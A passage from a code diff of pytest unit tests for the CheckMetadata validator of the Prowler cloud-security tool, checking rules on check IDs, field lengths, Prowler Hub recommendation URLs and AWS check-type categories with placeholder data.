"ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.ServiceName == "CustomService" + + def test_valid_check_id_success(self): + """Test CheckID validation with valid check ID""" + valid_metadata = { + "Provider": "azure", + "CheckID": "s3_bucket_public_read_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "s3", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "AWS::S3::Bucket", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.CheckID == "s3_bucket_public_read_check" + + def test_valid_check_id_failure_empty(self): + """Test CheckID validation fails with empty string""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "", # Invalid: empty string + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "CheckID must be a non-empty string" in str(exc_info.value) + + def test_valid_check_id_failure_hyphen(self): + """Test CheckID validation fails with hyphen""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "s3-bucket-public-read", # Invalid: contains hyphens + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "s3", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "AWS::S3::Bucket", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert ( + "CheckID s3-bucket-public-read contains a hyphen, which is not allowed" + in str(exc_info.value) + ) + + def test_validate_check_title_success(self): + """Test CheckTitle validation with valid title""" + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "A" * 150, # Exactly 150 characters + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert len(check_metadata.CheckTitle) == 150 + + def test_validate_check_title_failure_too_long(self): + """Test CheckTitle validation fails when too long""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "A" * 151, # Too long: 151 characters + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "CheckTitle must not exceed 150 characters, got 151 characters" in str( + exc_info.value + ) + + def test_validate_check_title_failure_starts_with_ensure(self): + """Test CheckTitle validation fails when starting with 'Ensure'""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Ensure S3 buckets have encryption enabled", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "CheckTitle must not start with 'Ensure'" in str(exc_info.value) + + def test_validate_related_url_must_be_empty(self): + """Test RelatedUrl validation fails when not empty""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "https://example.com", # Invalid: must be empty + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "RelatedUrl must be empty" in str(exc_info.value) + + def test_validate_related_url_empty_is_valid(self): + """Test RelatedUrl validation passes when empty""" + valid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.RelatedUrl == "" + + def test_validate_recommendation_url_must_be_hub(self): + """Test Recommendation URL validation fails when not pointing to Prowler Hub""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://docs.aws.amazon.com/some-page", # Invalid: not HUB + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "Remediation Recommendation URL must point to Prowler Hub" in str( + exc_info.value + ) + + def test_validate_recommendation_url_hub_is_valid(self): + """Test Recommendation URL validation passes with Prowler Hub URL""" + valid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert ( + check_metadata.Remediation.Recommendation.Url + == "https://hub.prowler.com/check/test_check" + ) + + def test_validate_recommendation_url_empty_is_valid(self): + """Test Recommendation URL validation passes when empty""" + valid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.Remediation.Recommendation.Url == "" + + def test_validate_check_type_non_aws_must_be_empty(self): + """Test CheckType must be empty for non-AWS providers""" + invalid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": ["SomeType"], # Invalid: non-AWS must be empty + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "CheckType must be empty for non-AWS providers" in str(exc_info.value) + + def test_validate_check_type_success(self): + """Test CheckType validation with valid check types""" + valid_metadata = { + "Provider": "azure", # Using non-AWS provider to avoid config validation + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.CheckType == [] + + def test_validate_check_type_failure_empty_string(self): + """Test CheckType validation fails with empty string in list""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": ["TTPs/Discovery", ""], # Invalid: empty string in list + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "CheckType list cannot contain empty strings" in str(exc_info.value) + + def test_validate_description_success(self): + """Test Description validation with valid description""" + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "A" * 400, # Exactly 400 characters + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert len(check_metadata.Description) == 400 + + def test_validate_description_failure_too_long(self): + """Test Description validation fails when too long""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "A" * 401, # Too long: 401 characters + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "Description must not exceed 400 characters, got 401 characters" in str( + exc_info.value + ) + + def test_validate_risk_success(self): + """Test Risk validation with valid risk""" + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "A" * 400, # Exactly 400 characters + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert len(check_metadata.Risk) == 400 + + def test_validate_risk_failure_too_long(self): + """Test Risk validation fails when too long""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "A" * 401, # Too long: 401 characters + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "Risk must not exceed 400 characters, got 401 characters" in str( + exc_info.value + ) + + def test_validate_check_type_aws_invalid_type(self): + """Test CheckType validation fails with invalid AWS CheckType""" + + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": ["InvalidType"], # Invalid: not in AWS config + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "Invalid CheckType: 'InvalidType'" in str(exc_info.value) + + def test_validate_check_type_aws_valid_hierarchy_path(self): + """Test CheckType validation succeeds with valid AWS CheckType hierarchy path""" + + valid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": ["TTPs/Initial Access"], # Valid: partial path in hierarchy + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.CheckType == ["TTPs/Initial Access"] + + def test_validate_check_type_non_aws_provider(self): + """Test CheckType validation requires empty list for non-AWS providers""" + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], # Non-AWS providers must have empty CheckType + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.CheckType == [] + + def test_validate_check_type_aws_validation_called(self): + """Test that AWS CheckType validation function works for AWS provider""" + + valid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": ["Effects/Data Exposure"], # Valid AWS CheckType + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.CheckType == ["Effects/Data Exposure"] + + def test_validate_check_type_multiple_types_all_valid(self): + """Test CheckType validation with multiple valid types for AWS provider""" + valid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "TTPs/Discovery", + "Effects/Data Exposure", + ], # Multiple valid AWS types + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.CheckType == ["TTPs/Discovery", "Effects/Data Exposure"] + + def test_validate_check_type_aws_multiple_types_mixed_validity(self): + """Test CheckType validation with multiple types where one is invalid for AWS""" + + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": ["TTPs/Discovery", "InvalidType"], # One valid, one invalid + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "Invalid CheckType: 'InvalidType'" in str(exc_info.value) + def test_additional_urls_valid_empty_list(self): """Test AdditionalURLs with valid empty list (default)""" metadata = CheckMetadata( Provider="aws", CheckID="test_check", CheckTitle="Test Check", - CheckType=["type1"], + CheckType=["Software and Configuration Checks/AWS Security Best Practices"], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -344,7 +1810,7 @@ class TestCheckMetada: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -352,9 +1818,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -374,7 +1843,7 @@ class TestCheckMetada: Provider="aws", CheckID="test_check", CheckTitle="Test Check", - CheckType=["type1"], + CheckType=["Software and Configuration Checks/AWS Security Best Practices"], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -382,7 +1851,7 @@ class TestCheckMetada: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -390,9 +1859,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -408,7 +1880,9 @@ class TestCheckMetada: Provider="aws", CheckID="test_check", CheckTitle="Test Check", - CheckType=["type1"], + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices" + ], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -416,7 +1890,7 @@ class TestCheckMetada: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -424,9 +1898,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -442,7 +1919,9 @@ class TestCheckMetada: Provider="aws", CheckID="test_check", CheckTitle="Test Check", - CheckType=["type1"], + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices" + ], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -450,7 +1929,7 @@ class TestCheckMetada: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -458,9 +1937,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -476,7 +1958,9 @@ class TestCheckMetada: Provider="aws", CheckID="test_check", CheckTitle="Test Check", - CheckType=["type1"], + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices" + ], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -484,7 +1968,7 @@ class TestCheckMetada: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -492,9 +1976,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -510,7 +1997,9 @@ class TestCheckMetada: Provider="aws", CheckID="test_check", CheckTitle="Test Check", - CheckType=["type1"], + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices" + ], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -518,7 +2007,7 @@ class TestCheckMetada: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -526,9 +2015,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -547,7 +2039,7 @@ class TestCheckMetada: Provider="aws", CheckID="test_check_empty_fields", CheckTitle="Test Check with Empty Fields", - CheckType=["type1"], + CheckType=["Software and Configuration Checks/AWS Security Best Practices"], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -563,9 +2055,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -583,7 +2078,7 @@ class TestCheckMetada: Provider="aws", CheckID="test_check_defaults", CheckTitle="Test Check with Default Fields", - CheckType=["type1"], + CheckType=["Software and Configuration Checks/AWS Security Best Practices"], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -599,9 +2094,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -620,7 +2118,9 @@ class TestCheckMetada: Provider="aws", CheckID="test_check_none_related_url", CheckTitle="Test Check with None RelatedUrl", - CheckType=["type1"], + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices" + ], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -636,9 +2136,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -655,7 +2158,9 @@ class TestCheckMetada: Provider="aws", CheckID="test_check_none_additional_urls", CheckTitle="Test Check with None AdditionalURLs", - CheckType=["type1"], + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices" + ], ServiceName="test", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -663,7 +2168,7 @@ class TestCheckMetada: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="https://example.com", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -671,9 +2176,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -690,7 +2198,9 @@ class TestCheckMetada: Provider="aws", CheckID="test_check_invalid_additional_urls", CheckTitle="Test Check with Invalid AdditionalURLs", - CheckType=["type1"], + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices" + ], ServiceName="test", 